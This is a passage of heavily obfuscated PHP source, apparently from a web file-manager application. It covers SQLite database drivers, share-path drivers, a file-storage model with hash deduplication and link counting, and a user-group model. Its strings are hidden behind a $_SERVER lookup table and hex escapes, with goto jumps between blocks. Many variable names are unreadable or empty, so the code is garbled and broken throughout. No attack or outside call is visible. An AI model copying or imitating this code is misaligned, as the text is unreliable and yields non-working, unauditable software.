$֖К; if ($this->queryID) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->queryID = sqlite_query($this->_linkID, $֖К); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = sqlite_num_rows($this->queryID); $ = $this->getAll(); return $; } } public function execute($Ѓ) { $ =& $_SERVER[ׇ]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $Ѓ; if ($this->queryID) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $ = sqlite_exec($this->_linkID, $Ѓ); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = sqlite_changes($this->_linkID); $this->lastInsID = sqlite_last_insert_rowid($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { sqlite_query($this->_linkID, $_SERVER[ׇ][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = sqlite_query($this->_linkID, $_SERVER[ׇ][27]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $銐˱ = sqlite_query($this->_linkID, $_SERVER[ׇ][28]); if (!$銐˱) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $ = array(); if ($this->numRows > 0) { for ($﵍ = 0; $﵍ < $this->numRows; $﵍++) { $[$﵍] = sqlite_fetch_array($this->queryID, SQLITE_ASSOC); } sqlite_seek($this->queryID, 0); } return $; } public function getFields($ɞ) { $DZӶ =& $_SERVER[ׇ]; $өѲ = $this->query($DZӶ[29] . $ɞ . $DZӶ[30]); $ø = array(); if ($өѲ) { foreach ($өѲ as $ꯉ => $) { $ø[$[$DZӶ[31]]] = array($DZӶ[32] => $[$DZӶ[31]], $DZӶ[33] => $[$DZӶ[34]], $DZӶ[35] => (bool) ($[$DZӶ[36]] === $DZӶ[12]), $DZӶ[37] => $[$DZӶ[38]], $DZӶ[39] => strtolower($[$DZӶ[40]]) == $DZӶ[41], $DZӶ[42] => strtolower($[$DZӶ[43]]) == $DZӶ[44]); } } return $ø; } public function getTables($Є = '') { $Ρ =& $_SERVER[ׇ]; $Ӻ = $this->query($Ρ[45] . $Ρ[46] . $Ρ[47]); $ = array(); foreach ($Ӻ as $ => $) { $[$] = current($); } return $; } public function close() { if ($this->_linkID) { sqlite_close($this->_linkID); } $this->_linkID = null; } public function error() { $Ք =& $_SERVER[ׇ]; $ = sqlite_last_error($this->_linkID); $this->error = $ . $Ք[4] . sqlite_error_string($); if ($Ք[12] != $this->queryStr) { $this->error .= LNG($Ք[48]) . $this->queryStr; } think_trace($this->error, $Ք[12], $Ք[49]); return $this->error; } public function escapeString($۰) { return sqlite_escape_string($۰); } public function parseLimit($󢊷) { $ʳ =& $_SERVER[ׇ]; $÷ = $ʳ[12]; if (!empty($󢊷)) { $󢊷 = explode($ʳ[50], $󢊷); if (count($󢊷) > 1) { $÷ .= $ʳ[51] . $󢊷[1] . $ʳ[52] . $󢊷[0] . $ʳ[53]; } else { $÷ .= $ʳ[51] . $󢊷[0] . $ʳ[53]; } } return $÷; } } class DbSqlite3Base extends Db { public function __construct($ۗݸ = '') { $Ƴū =& $_SERVER[ׇ]; if (!class_exists($Ƴū[54])) { think_exception(think_lang($Ƴū[14]) . $Ƴū[55]); } if (!empty($ۗݸ)) { if (!isset($ۗݸ[$Ƴū[16]])) { $ۗݸ[$Ƴū[16]] = 438; } $this->config = $ۗݸ; if (empty($this->config[$Ƴū[17]])) { $this->config[$Ƴū[17]] = array(); } } } public function connect($ = '', $֒ŗ = 0) { $ =& $_SERVER[ׇ]; if (!isset($this->linkID[$֒ŗ])) { if (empty($)) { $ = $this->config; } $this->linkID[$֒ŗ] = new SQLite3($[$[21]]); if (!$this->linkID[$֒ŗ]) { think_exception($this->linkID[$֒ŗ]->lastErrorMsg()); } $this->connected = !0; @$this->linkID[$֒ŗ]->busyTimeout(30000); if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$֒ŗ]; } public function free() { $this->queryID = null; } public function query($ժ) { $ʎ =& $_SERVER[ׇ]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $ժ; if ($this->queryID) { $this->free(); } think_action_status($ʎ[23], 1); think_status($ʎ[24]); $this->queryID = $this->_linkID->query($ժ); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $ = $this->getAll(); $this->numRows = count($); return $; } } public function execute($) { $ =& $_SERVER[ׇ]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $ = $this->_linkID->exec($); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->changes(); $this->lastInsID = $this->_linkID->lastInsertRowID(); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->query($_SERVER[ׇ][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = $this->_linkID->query($_SERVER[ׇ][27]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $Ԙͨ = $this->_linkID->query($_SERVER[ׇ][28]); if (!$Ԙͨ) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $ = array(); while ($܏ = $this->queryID->fetchArray(SQLITE3_ASSOC)) { $[] = $܏; } $this->queryID->reset(); return $; } public function getFields($) { $؆ٗ =& $_SERVER[ׇ]; $ܨ = $this->query($؆ٗ[29] . $ . $؆ٗ[30]); $څ = array(); if ($ܨ) { foreach ($ܨ as $ => $) { $څ[$[$؆ٗ[32]]] = array($؆ٗ[32] => $[$؆ٗ[32]], $؆ٗ[33] => $[$؆ٗ[33]], $؆ٗ[35] => (bool) ($[$؆ٗ[35]] === $؆ٗ[12]), $؆ٗ[37] => $[$؆ٗ[56]], $؆ٗ[39] => (bool) $[$؆ٗ[57]], $؆ٗ[42] => (bool) $[$؆ٗ[57]]); } } return $څ; } public function getTables($å = '') { $ܰ =& $_SERVER[ׇ]; $ = $this->query($ܰ[45] . $ܰ[46] . $ܰ[47]); $ = array(); foreach ($ as $պ => $׍) { $[$պ] = current($׍); } return $; } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $㤝 =& $_SERVER[ׇ]; $this->error = $this->_linkID->lastErrorMsg(); if ($㤝[12] != $this->queryStr) { $this->error .= LNG($㤝[48]) . $this->queryStr; } think_trace($this->error, $㤝[12], $㤝[49]); return $this->error; } public function escapeString($ƒǮ) { $ =& $_SERVER[ׇ]; if ($this->_linkID) { return $this->_linkID->escapeString($ƒǮ); } return str_ireplace($[58], $[59], $ƒǮ); } public function parseLimit($В) { $֚ =& $_SERVER[ׇ]; $騛 = $֚[12]; if (!empty($В)) { $В = explode($֚[50], $В); if (count($В) > 1) { $騛 .= $֚[51] . $В[1] . $֚[52] . $В[0] . $֚[53]; } else { $騛 .= $֚[51] . $В[0] . $֚[53]; } } return $騛; } } goto A; a΅: class PathDriverDriverShareItem { public function __construct($ą) { $this->pathParse = $ą; } public function __call($𳕃ߓ, $) { $ =& $_SERVER[ׇ]; if (method_exists($this, $𳕃ߓ)) { return; } $Ύ = call_user_func_array(array($[1429], $𳕃ߓ), $); $Ê = array($[1430], $[1431], $[1432], $[1433], $[618], $[620], $[1434], $[110], $[1435], $[1436]); if (in_array($𳕃ߓ, $Ê)) { $Ύ = $this->getPathOuter($Ύ); } return $Ύ; } public function copy($, $, $ן = false, $ = false) { return $this->copyMove($, $, $ן, $_SERVER[ׇ][618], $); } public function move($ѷ, $ʚ, $ = false, $ѩ = false) { return $this->copyMove($ѷ, $ʚ, $, $_SERVER[ׇ][620], $ѩ); } private function copyMove($dzԉ, $朄, $˓, $䨮, $͍ = false) { $޺ =& $_SERVER[ׇ]; $ = $朄; $ޭ = IO::driverMake($朄); if ($ޭ->pathParse[$޺[1232]]) { $朄 = $ޭ->pathParse[$޺[1232]]; } else { $朄 = $; } $잍 = IO::copyMove($dzԉ, $朄, $˓, $䨮, $͍); $잍 = $this->getPathOuter($잍); return $잍; } public function pathThis($) { return get_path_this($this->pathParse[$_SERVER[ׇ][87]]); } public function pathFather($ʊ) { return get_path_father($this->pathParse[$_SERVER[ׇ][87]]); } public function iconvSystem($Ќ) { return $Ќ; } protected function infoParse($ďء, $ = false) { $ =& $_SERVER[ׇ]; $ = $this->pathParse[$[560]][$[1257]] . $this->pathParse[$[1250]]; if ($) { $¿Ȅ = IO::infoWithChildren($); } else { $¿Ȅ = IO::info($); } $ = $this->pathParse[$[560]]; return Action($[1427])->_shareItemeParse($¿Ȅ, $); } public function listAll($) { $ͽ =& $_SERVER[ׇ]; $ = IO::listAll($); $ = rtrim($this->pathParse[$ͽ[560]][$ͽ[1257]], $ͽ[8]); foreach ($ as &$) { $[$ͽ[87]] = $this->pathDriver . $ͽ[8] . ltrim(substr($[$ͽ[87]], strlen($)), $ͽ[8]); } unset($); return $; } public function listAllSimple($Ƨ, $õ = false) { $黹 =& $_SERVER[ׇ]; $ = $this->listAll($Ƨ); $Į = $this->pathParse[$黹[495]]; if (trim($Į, $黹[8]) == trim(get_path_father($Į), $黹[8])) { $õ = !0; } return IO::init($黹[12])->listAllSimpleMake($, $Į, $õ); } public function getPathOuter($úѲ) { $ =& $_SERVER[ׇ]; $ս = KodIO::parse($úѲ); if ($ս[$[33]] == KodIO::KOD_SHARE_ITEM) { return $ս[$[87]]; } $ᒥ = KodIO::clear($úѲ); $ = KodIO::clear($this->pathParse[$[560]][$[1257]]); $䝉 = substr($ᒥ, strlen($)); if (substr($ᒥ, 0, strlen($)) != $) { return !1; } return $this->pathParse[$[1251]] . $[8] . ltrim($䝉, $[8]); } public function getType() { $㳀δ =& $_SERVER[ׇ]; $ = str_replace($㳀δ[77], $㳀δ[12], get_class($this)); return strtolower($); } public function isOsDriver($Թ) { return IO::isOsDriver($Թ); } public function info($Ҫԙ) { return $this->infoParse($Ҫԙ); } public function infoAuth($) { return $this->infoParse($); } public function infoWithChildren($) { return $this->infoParse($, !0); } public function infoFull($֥) { return $this->infoParse($֥); } } class PathDriverDriverShareLink extends PathDriverDriverShareItem { public function __construct($ߜ) { $this->pathParse = $ߜ; } protected function infoParse($ֿ, $ = false) { $ٵ =& $_SERVER[ׇ]; return Action($ٵ[1256])->sharePathInfo($this->pathParse[$ٵ[87]], !0, $); } public function listPath($, $ = false) { $ =& $_SERVER[ׇ]; $؀ڽ = IO::listPath($, $); if (!$؀ڽ) { return $؀ڽ; } if (is_array($؀ڽ[$[1428]])) { $Ԁ = Action($[1437])->parsePathChildren($؀ڽ[$[1428]], array($[495] => $)); $؀ڽ[$[1428]] = Action($[1256])->shareItemInfo($Ԁ); } foreach ($؀ڽ as $陴ɂ => $﯇) { if (!in_array($陴ɂ, array($[86], $[85]))) { continue; } foreach ($﯇ as $ => $Ԁ) { $Ԁ = Action($[1437])->parsePathChildren($Ԁ, array($[495] => $)); $؀ڽ[$陴ɂ][$] = Action($[1256])->shareItemInfo($Ԁ); } } return $؀ڽ; } } class PathDriverEDS extends PathDriverBaseS3 { public function __construct($ȡݍ) { parent::__construct($ȡݍ); $this->setSignVersion($_SERVER[ׇ][247]); } } goto d֔ɺ; dӂ: class FileContentModel extends ModelBase { protected $tableName = "\151\x6f\137\x66\151\154\145\137\x63\157\156\164\145\x6e\164\163"; protected $dataAuto = array(array("\x63\x72\x65\141\164\x65\124\151\155\x65", "\x74\x69\x6d\x65", "\x69\156\x73\x65\162\164", "\x66\x75\x6e\x63\164\151\x6f\156")); } class FileModel extends ModelBase { protected $tableName = "\151\157\x5f\x66\x69\x6c\145"; protected $tableMeta = array("\x74\141\x62\x6c\145\x4e\141\155\x65" => "\151\x6f\x5f\146\151\x6c\145\x5f\155\145\164\x61", "\155\145\164\x61\x46\151\145\x6c\144" => "\146\x69\154\145\111\x44"); public function fileInfo($) { $ݖ֏ =& $_SERVER[ׇ]; static $㘅 = array(); if (!isset($㘅[$])) { $ = $ݖ֏[2021]; $Ȣ = Model($ݖ֏[544])->field($)->where(array($ݖ֏[542] => $))->find(); $㘅[$] = $Ȣ; } return $㘅[$]; } public function addFileByContent($ = '', $𴽗 = '') { $ =& $_SERVER[ׇ]; $ز = TEMP_PATH . $[2022]; if (!is_dir($ز)) { mk_dir($ز); } $ڔ = $ز . $[2023] . rand_string(16); file_put_contents($ڔ, $); $Ѕɥ = $this->addFile($ڔ, $𴽗, !0); if (file_exists($ڔ)) { @unlink($ڔ); } return $Ѕɥ; } public function createFileName($, $Ƶ = false, $Ӓ = false) { $к =& $_SERVER[ׇ]; $ = IO::init($к[8]); $Ʉ = $this->makeFilePath($, $, $Ƶ, $Ӓ); $Ƹ = $->pathFather($Ʉ); static $ðϡ = false; $殱 = $к[2024] . md5($Ƹ); if (!$ðϡ && !Cache::get($殱)) { $ðϡ = !0; $µ = IO::mkdir($Ƹ); if (!IO::exist($µ . $к[870])) { IO::mkfile($µ . $к[870]); } Cache::set($殱, 1, 3600 * 2); } return $Ʉ; } public function makeFilePath($І, $ܡ, $ŷ = false, $Ɗ = false) { $ƚ =& $_SERVER[ׇ]; $ڭ = Model($ƚ[843])->get($ƚ[2025]); $؊ = KodIO::defaultIO() . date($ƚ[2026]); $ݵ = $؊ . rand_string(5) . short_id(100); $І = str_replace($ƚ[8], $ƚ[11], KodIO::clear($І)); $Ҫۜ = $ܡ->ext($І); if (!$І) { $ڭ = $ƚ[849]; } switch ($ڭ) { case $ƚ[2027]: if ($Ҫۜ) { $ݵ = $ݵ . $ƚ[10] . $Ҫۜ; } if ($Ҫۜ == $ƚ[1963]) { $ݵ .= $ƚ[1291]; } break; case $ƚ[2028]: $Ә = Model($ƚ[843])->get($ƚ[844]); $ = substr(md5($ƚ[845] . $Ә . date($ƚ[822])), 0, 8); $͜ = KodIO::defaultDriver(); $؊ = $ƚ[1322] . $͜[$ƚ[475]] . $ƚ[484] . date($ƚ[2029]) . $ . $ƚ[8]; if ($Ҫۜ == $ƚ[1963]) { $І .= $ƚ[1291]; } $٤ = $ƚ[2030] . $؊ . $І; CacheLock::lock($٤); $ݵ = $؊ . $І; if (IO::exist($؊ . $І)) { $‡ = substr($І, 0, strlen($І) - strlen($Ҫۜ)); $٣ă = $Ɗ ? substr($Ɗ, 0, 5) : ($ŷ ? substr($ŷ, 0, 5) : rand_string(5)); $ݵ = $؊ . $‡ . $٣ă; if ($Ҫۜ) { $ݵ = $ݵ . $ƚ[10] . $Ҫۜ; } } if (IO::isOsDriver($ݵ) && !IO::isUploadServer($ݵ)) { if (IO::exist($ݵ)) { return $ݵ; } $枺 = IO::setContent($ݵ, $ƚ[12]); if (!$枺) { show_json($ƚ[2031], !1); } } CacheLock::unlock($٤); break; case $ƚ[849]: break; default: break; } return $ݵ; } public function addFileByRemote($Ա, $۴, $츿 = array()) { $ =& $_SERVER[ׇ]; if (!IO::exist($Ա)) { return !1; } $ = $츿[$[547]] ? $츿[$[547]] : $[12]; $ = IO::hashMd5($Ա, $); $ͽ = KodIO::defaultDriver(); $ɤר = array($[617] => IO::size($Ա), $[2032] => 1, $[494] => $۴, $[881] => $ͽ[$[475]], $[495] => $Ա, $[2033] => $츿[$[672]] ? $츿[$[672]] : IO::hashSimple($Ա), $[2034] => $ ? $ : $); if ($͠ = $this->addFileCheckExist($ɤר[$[672]], $ɤר[$[547]], $ɤר[$[79]])) { return $͠; } return $this->addFileData($ɤר); } private function addFileData($¢) { $Ÿ޳ =& $_SERVER[ׇ]; if (!$¢) { return !1; } $¢[$Ÿ޳[79]] = intval($¢[$Ÿ޳[79]]); if (!$¢[$Ÿ޳[79]] && strlen($¢[$Ÿ޳[672]]) > 32) { $¢[$Ÿ޳[79]] = intval(substr($¢[$Ÿ޳[672]], 32)); } $ = $this->add($¢); return $this->find($); } public function addFile($΀, $Ő, $ = false) { $歬 =& $_SERVER[ׇ]; $ = IO::hashSimple($΀); $ȁ = IO::size($΀); $Ď = $ȁ <= 1024 * 1024 * 10 ? IO::hashMd5($΀) : $歬[12]; $ţ = $歬[2035] . $; CacheLock::lock($ţ); if ($Ď && $) { $ = $this->addFileCheckExist($, $Ď, $ȁ); if ($) { CacheLock::unlock($ţ); return $; } } $߶ = $this->addFileMake($΀, $ȁ, $, $Ď, $Ő, $); $䎻 = $this->addFileData($߶); CacheLock::unlock($ţ); if (!$Ď && $䎻) { $this->fileMd5Check($䎻); } return $䎻; } public function fileMd5Check($ȡ) { $ =& $_SERVER[ׇ]; $䌼ֲ = array($ȡ[$[541]], $ȡ[$[87]]); $ = $[2036] . $ȡ[$[87]]; $ўؓ = $[2037] . $ȡ[$[541]]; TaskQueue::add($[2038], $䌼ֲ, $, $ўؓ); } public function fileMd5Set($, $܊) { $ =& $_SERVER[ׇ]; $קϏ = $this->find($); if (!$קϏ || $קϏ[$[547]]) { return; } $З = IO::hashMd5($܊); if (!$З) { return $[12]; } $this->where(array($[541] => $))->save(array($[547] => $З)); } public function addFileMake($Ǣ, $, $Գ, $, $ő, $޲) { $䊿 =& $_SERVER[ׇ]; $푯 = $this->createFileName($ő, $Գ, $); $ = get_path_father($푯); $ = get_path_this($푯); if ($޲) { $ = IO::move($Ǣ, $, !1, $); } else { $ = IO::copy($Ǣ, $, !1, $); } if (!$) { return !1; } $ = KodIO::defaultDriver(); $Ֆ = array($䊿[617] => $, $䊿[2032] => 1, $䊿[494] => $ő, $䊿[881] => $[$䊿[475]], $䊿[495] => $푯, $䊿[2033] => $Գ, $䊿[2034] => $); return $Ֆ; } public function addFileCheckExist($葩, $đ, $ĕ) { $ =& $_SERVER[ׇ]; $ = $this->findByHash($葩, $đ); if (!$) { return !1; } $Ԉ = array($[2032] => intval($[$[2039]]) + 1, $[617] => $ĕ); $this->where(array($[542] => $[$[541]]))->save($Ԉ); return $; } public function remove($) { $this->linkCountChange($, !1); $this->clearEmpty(); return !0; } public function linkAdd($) { $this->linkCountChange($, !0); } public function linkCountChange($ꮮ, $Ƶ) { $ =& $_SERVER[ׇ]; if (!$ꮮ) { return; } if (!is_array($ꮮ)) { $ꮮ = array($ꮮ); } $޾ = array(); foreach ($ꮮ as $) { $ = $ . $[12]; if (!$޾[$]) { $޾[$] = 0; } $޾[$]++; } $ڋ = array(); foreach ($޾ as $ => $) { $ = $ . $[12]; if (!$ڋ[$]) { $ڋ[$] = array(); } $ڋ[$][] = $; } foreach ($ڋ as $ => $Ԛ) { if (!$Ԛ) { continue; } $ = $Ƶ ? $ : -intval($); $ = array($[541] => array($[7], $Ԛ)); if ($ < 0) { $[$[2039]] = array($[1093], abs($)); } $this->where($)->setAdd($[2039], $); } } public function findByHash($˗, $ǣ = false) { $ࣨ =& $_SERVER[ׇ]; if (!$˗ && !$ǣ) { return !1; } $ = array($ࣨ[2033] => $˗); if ($ǣ) { $ = array($ࣨ[2034] => $ǣ); } return $this->order($ࣨ[2040])->where($)->find(); } public function clearEmpty($̙֭ = 0) { $ũ =& $_SERVER[ׇ]; $ = time() - 3600 * 24 * $̙֭; $ = $ũ[2041] . $; $ؿ = $this->where($)->select(); if (!$ؿ) { return; } $ = new Task($ũ[2042], $ũ[12], count($ؿ)); foreach ($ؿ as $҉ۥ) { $->update(1); $this->resetFile($҉ۥ); } $->end(); } public function resetFile($ʺ셀) { $ =& $_SERVER[ׇ]; $ڱ = array($[542] => $ʺ셀[$[541]]); $٘ = Model($[1420])->where($ڱ)->count(); $ = Model($[2043])->where($ڱ)->count(); $ = intval($٘) + intval($); if ($ == 0) { IO::remove($ʺ셀[$[87]]); Model($[2044])->delete($ʺ셀[$[541]]); $this->where($ڱ)->delete(); $this->metaSet($ʺ셀[$[541]], null, null); write_log(ACTION . $[2045] . KodUser::id() . $[2046] . $ʺ셀[$[541]] . $[2047] . $ʺ셀[$[79]] . $[201] . $ʺ셀[$[87]], $[2048]); return; } if ($ʺ셀[$[2039]] != $) { $this->where($ڱ)->save(array($[2032] => $)); } } public function storageInfo($ = false) { $Ő =& $_SERVER[ׇ]; $ = $this->count() + 0.0; $ = 0; $ƛ = 1; $醥 = 0; $Ӫ = 5000; for ($η嫢 = 0; $η嫢 < $; $η嫢 = $η嫢 + $Ӫ) { $ = $this->limit($η嫢, $η嫢 + $Ӫ)->select(); foreach ($ as $) { $ƛ += $[$Ő[79]] * $[$Ő[2039]]; $ += $[$Ő[79]] * ($[$Ő[2039]] - 1); $醥 += $[$Ő[2039]]; } } $ҟԄ = array($Ő[2049] => $ƛ, $Ő[2050] => $, $Ő[2051] => $ / $ƛ, $Ő[83] => $, $Ő[2052] => $醥); return $ҟԄ; } } class GroupModel extends ModelBase { protected $tableName = "\x67\162\157\165\160"; protected $tableMeta = array("\x74\x61\142\154\x65\116\x61\x6d\145" => "\x67\162\157\165\x70\137\x6d\x65\x74\x61", "\155\x65\x74\141\106\x69\145\x6c\144" => "\147\162\x6f\165\x70\x49\x44"); protected function cacheFunctionAlias($✡ڭ) { $߃ =& $_SERVER[ׇ]; return array($߃[2053] => array($✡ڭ[0], $߃[2054]), $߃[2055] => array($✡ڭ[0], $߃[2056])); } protected function getInfo($ģ, $֤ = false) { $ = $this->getInfoSimple($ģ); if (!$) { return !1; } if ($֤) { return $this->_listDataApplyItem($); } return $this->cacheFunctionGet($_SERVER[ׇ][2057], $ģ); } protected function getInfoSimple($ȥ, $Ђ = false) { $؂ =& $_SERVER[ׇ]; if ($Ђ) { $ѿ = array($؂[1971] => intval($ȥ)); $̐ = $this->where($ѿ)->find(); return is_array($̐) ? $̐ : array(); } return $this->cacheFunctionGet($؂[2058], $ȥ); } protected function groupAdd($) { $㤁ӹ =& $_SERVER[ׇ]; if (!$[$㤁ӹ[192]] && isset($[$㤁ӹ[1971]]) && $[$㤁ӹ[1971]] == 1) { if ($ = $this->getInfoSimple($[$㤁ӹ[1971]], !0)) { return $[$㤁ӹ[1971]]; } } else { $ = $this->getInfoSimple($[$㤁ӹ[192]]); if (!$) { return !1; } } $↻ = $㤁ӹ[594]; if ($[$㤁ӹ[584]]) { $↻ = $[$㤁ӹ[584]] . $[$㤁ӹ[1971]] . $㤁ӹ[50]; } $ = array($㤁ӹ[494] => $this->groupNameAuto($[$㤁ӹ[192]], $[$㤁ӹ[32]]), $㤁ӹ[477] => $[$㤁ӹ[192]], $㤁ӹ[652] => $↻, $㤁ӹ[2059] => $[$㤁ӹ[1957]], $㤁ӹ[2060] => 0, $㤁ӹ[1975] => 0); if (isset($[$㤁ӹ[1995]])) { $[$㤁ӹ[1995]] = $[$㤁ӹ[1995]]; } else { $ = $this->max($㤁ӹ[1995]); if (!$) { $ = 0; } $[$㤁ӹ[1995]] = $ + 1; } if (!empty($[$㤁ӹ[1971]])) { $[$㤁ӹ[1971]] = $[$㤁ӹ[1971]]; } $Ӧ = $this->add($); $this->setNamePinyin($Ӧ, $[$㤁ӹ[32]]); if (isset($[$㤁ӹ[2061]])) { $this->metaSet($Ӧ, array($㤁ӹ[2061] => $[$㤁ӹ[2061]], $㤁ӹ[2062] => $[$㤁ӹ[2062]])); unset($[$㤁ӹ[2061]]); unset($[$㤁ӹ[2062]]); } Model($㤁ӹ[1420])->groupRootAdd($Ӧ); $this->_clearCache($[$㤁ӹ[192]]); return $Ӧ; } protected function groupEdit($, $) { $˲ =& $_SERVER[ׇ]; $Ŕ = $this->getInfoSimple($); if (!$Ŕ) { return !1; } if (!empty($[$˲[192]])) { $ƿ = $this->getInfoSimple($[$˲[192]]); if (!$ƿ) { return !1; } if ($Ŕ[$˲[1971]] == $ƿ[$˲[1971]]) { return !1; } if ($[$˲[192]] != $Ŕ[$˲[192]]) { if ($ƿ[$˲[584]] !== $Ŕ[$˲[584]] && strpos($ƿ[$˲[584]], $Ŕ[$˲[584]] . $Ŕ[$˲[1971]] . $˲[50]) === 0) { return !1; } $[$˲[652]] = $ƿ[$˲[584]] . $[$˲[192]] . $˲[50]; $this->_changeChildLevel($Ŕ, $ƿ); $this->_clearCache($ƿ[$˲[1971]]); $this->_clearCache($Ŕ[$˲[192]]); } } if (isset($[$˲[32]])) { $this->setNamePinyin($, $[$˲[32]]); } if (isset($[$˲[2061]])) { $this->metaSet($, array($˲[2061] => $[$˲[2061]], $˲[2062] => $[$˲[2062]])); unset($[$˲[2061]]); unset($[$˲[2062]]); } $this->_clearChildrenCache($Ŕ); return $this->where(array($˲[2063] => $))->save($); } private function _clearChildrenCache($dž) { $ދ =& $_SERVER[ׇ]; $ = array($ދ[652] => array($ދ[612], $dž[$ދ[584]] . $dž[$ދ[1971]] . $ދ[613])); $𵕎 = $this->field($ދ[1971])->where($)->select(); foreach ($𵕎 as $߂) { $this->_clearCache($߂[$ދ[1971]]); } } private function _clearCache($) { $癘 =& $_SERVER[ׇ]; $this->cacheFunctionClear($癘[2057], $); $this->cacheFunctionClear($癘[2058], $); } private function _changeChildLevel($, $ף, $ = false) { $È =& $_SERVER[ׇ]; $Ѕ = $[$È[584]] . $[$È[1971]] . $È[50]; $ = $ף[$È[584]] . $ף[$È[1971]] . $È[50] . $[$È[1971]] . $È[50]; if ($) { $ = $ף[$È[584]] . $ף[$È[1971]] . $È[50]; } $ɚӄ = array($È[652] => array($È[612], $[$È[584]] . $[$È[1971]] . $È[613])); $Ǎ = array($È[652] => array($È[661], "\x72\x65\160\x6c\141\x63\145\50\160\x61\162\x65\x6e\x74\x4c\x65\166\x65\154\54\x27{$Ѕ}\x27\x2c\47{$}\47\51")); $this->_clearChildrenCache($); $this->where($ɚӄ)->data($Ǎ)->save(); } public function setNamePinyin($, $昀 = false) { $ϴ =& $_SERVER[ׇ]; if (!$昀) { $ = $this->getInfoSimple($); $昀 = $[$ϴ[32]]; } if (!Input::check($昀, $ϴ[655])) { $this->metaSet($, $ϴ[538], null); $this->metaSet($, $ϴ[537], null); return; } $ = array($ϴ[538] => str_replace($ϴ[53], $ϴ[12], Pinyin::get($昀)), $ϴ[537] => Pinyin::get($昀, $ϴ[656])); $this->metaSet($, $); } protected function groupStatus($ꋭ, $޸) { $彃 =& $_SERVER[ׇ]; $ = $this->getInfoSimple($ꋭ); if (!$) { return !1; } $this->_clearCache($ꋭ); return $this->metaSet($ꋭ, $彃[823], $޸); if ($޸ == $彃[91]) { $㞠 = $this->parentLevelArray($[$彃[584]]); } else { } $㞠[] = $[$彃[1971]]; $呵 = array(); foreach ($㞠 as $ꋭ) { $呵[] = array($彃[1971] => $ꋭ, $彃[97] => $彃[823], $彃[450] => $޸); $this->_clearCache($ꋭ); } return Model($彃[2064])->addAll($呵, array(), !0); } protected function groupRemove($ɞ, $ = false) { $ =& $_SERVER[ׇ]; $ = array($[1971] => $ɞ); $ = $this->where($)->find(); if (!$ || $[$[192]] == 0) { return !1; } if (!$) { $ɉ = $this->getInfoSimple($[$[192]]); $this->_changeChildLevel($, $ɉ, !0); $this->where(array($[192] => $ɞ))->save(array($[192] => $[$[192]])); $this->_clearCache($ɉ[$[1971]]); } Model($[2064])->where($)->delete(); Model($[2065])->where($)->delete(); Model($[897])->groupRootRemove($ɞ); $this->_clearCache($[$[192]]); return $this->where($)->delete(); } protected function groupSort($) { $ =& $_SERVER[ׇ]; $Ȃ = array(); foreach ($ as $– => $؍) { $Ȃ[] = array($[1971], $؍, $[1995], $– + 1); } $this->saveAll($Ȃ); } public function listData() { $NJ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($NJ[$_SERVER[ׇ][445]]); return $NJ; } private function _makeOrder($ = '') { $݈ =& $_SERVER[ׇ]; $옲 = array($݈[1971], $݈[32], $݈[1959], $݈[231]); $ = array($݈[523] => $݈[524], $݈[525] => $݈[526]); $܁ = Input::get($݈[530], $݈[7], $݈[1975], $옲); $ = Input::get($݈[531], $݈[7], $݈[2066], array($݈[2066], $݈[525])); $ = $[$]; $ = $ . "{$܁}\x20{$}\x2c\40\147\162\157\165\x70\111\104\40\x61\163\143"; return $this->order($); } public function listChild($އ) { $ɛ =& $_SERVER[ׇ]; $Ȭ = $this->where(array($ɛ[192] => $އ))->_makeOrder()->selectPage(200); $this->_listDataApply($Ȭ[$ɛ[445]]); return $Ȭ; } public function listChildIds($) { $ݷˎ =& $_SERVER[ׇ]; if (is_string($͆Ѭ)) { $ = explode($ݷˎ[50], $); } $Ϳ = $this->where(array($ݷˎ[1971] => array($ݷˎ[7], $)))->field($ݷˎ[2067])->select(); if (!$Ϳ) { return !1; } $؈ = array(); foreach ($Ϳ as $) { $؈[] = "\x73\x65\x6c\145\x63\164\40\147\162\x6f\165\x70\x49\104\x20\146\x72\157\x6d\40\140\x67\162\x6f\165\x70\140\x20\167\150\x65\x72\x65\40\x70\x61\x72\x65\156\164\x4c\x65\x76\145\154\40\x6c\151\x6b\x65\x20\47{$[$ݷˎ[584]]}{$[$ݷˎ[1971]]}\x2c\45\x27"; } $؈ = implode($ݷˎ[2068], $؈); $Ϳ = $this->query($؈); if (!$Ϳ) { return array(); } $ = array_to_keyvalue($Ϳ, $ݷˎ[12], $ݷˎ[1971]); return array_unique($); } public function listByID($޺) { $ˌ =& $_SERVER[ׇ]; if (!$޺) { return array(); } $냲 = array($ˌ[1971] => array($ˌ[7], $޺)); $ = $this->where($냲)->select(); $ = array_sort_keep($, $ˌ[1971], $޺); $this->_listDataApply($); return $; } public function listSearch($쥵) { $ =& $_SERVER[ׇ]; $﫭 = trim($쥵[$[2069]]); $ڼ = explode($[53], $﫭); if (!$﫭 || count($ڼ) == 1) { return $this->listSearchNow($쥵); } $ = array($[445] => array()); foreach ($ڼ as $) { if (!trim($)) { continue; } $쥵[$[2069]] = $; $ޠ = $this->listSearchNow($쥵); $[$[445]] = array_merge($[$[445]], 